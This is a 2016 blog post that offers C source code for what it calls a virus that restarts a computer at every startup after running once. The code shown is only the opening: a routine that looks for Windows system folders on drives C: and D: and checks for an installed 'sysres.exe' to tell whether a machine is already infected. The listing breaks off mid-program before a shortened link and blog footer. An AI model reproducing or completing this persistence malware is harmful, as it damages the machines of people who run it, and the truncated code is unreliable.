Monday, February 8, 2016

A Virus Program to Restart the Computer at Every Startup

Here, the virus needs to be executed only once and from then on, it will carry out the rest of the operation on its own. We have programmed this virus using the C language. If you are familiar with the C language, then it is too easy to understand the logic behind the coding. The code is given down below.

#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;
char buff[128];
void findroot()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\windows\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\windows\system\sysres.exe”,&ffblk,0); //to determine whether the
virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\windows\system\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=2;
return;
}

http://sh.st/QCZpy

Share

& Comment

0 comments:

Post a Comment

 

Copyright © 2016 WYSIWYG™ is a registered trademark.

Designed by Templateism.